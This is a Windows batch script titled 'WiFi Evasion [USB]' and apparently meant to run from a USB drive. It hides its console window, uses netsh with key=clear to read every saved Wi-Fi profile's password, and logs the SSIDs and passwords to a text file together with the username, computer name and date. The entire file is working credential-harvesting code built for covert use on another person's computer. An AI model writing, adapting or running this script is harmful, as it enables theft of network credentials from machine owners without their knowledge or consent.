WiFi-Evasion-[USB.-VERSION].BAT

@ECHO OFF & SETLOCAL ENABLEDELAYEDEXPANSION
TITLE WiFi Evasion [USB] - LESiO
MODE CON COLS=18 LINES=1
CLS & COLOR 05
SET C=0
SET L=0
CALL :S
CALL :L
SET PASSWORDLOGS=WiFi-Evasion-[USB.-Version].TXT
    ECHO WiFi Evasion [USB. VERSION] - LESiO >> %PASSWORDLOGS%
    ECHO( >> %PASSWORDLOGS%
    ECHO DATE : %DATE% %TIME% >> %PASSWORDLOGS%
    ECHO USERNAME : %USERNAME% >> %PASSWORDLOGS%
    ECHO COMPUTER : %COMPUTERNAME% >> %PASSWORDLOGS%
    ECHO PROCESSOR ARCHITECTURE : %PROCESSOR_ARCHITECTURE% >> %PASSWORDLOGS%
    ECHO( >> %PASSWORDLOGS%
    ECHO [N][SSID] ====^> [PASSWORD] >>%PASSWORDLOGS%
    ECHO( >> %PASSWORDLOGS%
FOR /F "SKIP=2 DELIMS=: TOKENS=2" %%A IN ('NETSH WLAN SHOW PROFILES') DO (
    IF NOT "%%A"=="" (
        SET "SSID=%%A"
        SET "SSID=!SSID:~1!"
        CALL :P "!SSID!"
    )
)
:P
SET "NAME=%1"
SET "NAME=!NAME:"=!"
SET "PASSWORD="
FOR /F "DELIMS=: TOKENS=2" %%A IN ('NETSH WLAN SHOW PROFILES %1 KEY^=CLEAR ^|FIND /I "CONT"') DO (
    SET "PASSWORD=%%A"
    SET /A C+=1
)
IF DEFINED PASSWORD (
    SET PASSWORD=!PASSWORD:~1!
    ECHO [!C!][!NAME!] ====^> [!PASSWORD!] >> "%PASSWORDLOGS%"
) ELSE (
    SET /A C+=1
ECHO [!C!][!NAME!] EMPTY PASSWORD >> "%PASSWORDLOGS%"
)
EXIT /B
:S
PROMPT $G
FOR /F "DELIMS=." %%A IN ('"PROMPT $H. & FOR %%B IN (1) DO REM"') DO SET "BS=%%A"
EXIT /B
:C
SET NL=%3
IF NOT DEFINED NL ECHO REQUIRES THIRD ARGUMENT & PAUSE > NUL & GOTO :EOF
IF %3 == 0 (
    <NUL SET /P ".=%BS%">%2 & FINDSTR /V /A:%1 /R "^$" %2 NUL & DEL %2 2>&1 & GOTO :EOF
) ELSE IF %3 == 1 (
    ECHO %BS%>%2 & FINDSTR /V /A:%1 /R "^$" %2 NUL & DEL %2 2>&1 & GOTO :EOF
)
EXIT /B
:L
FOR /F "SKIP=2 DELIMS=: TOKENS=2" %%A IN ('NETSH WLAN SHOW PROFILES') DO (
    IF NOT "%%A"=="" (
        SET /A L+=1
    )
)
SET /A L=!L! + 10
EXIT /B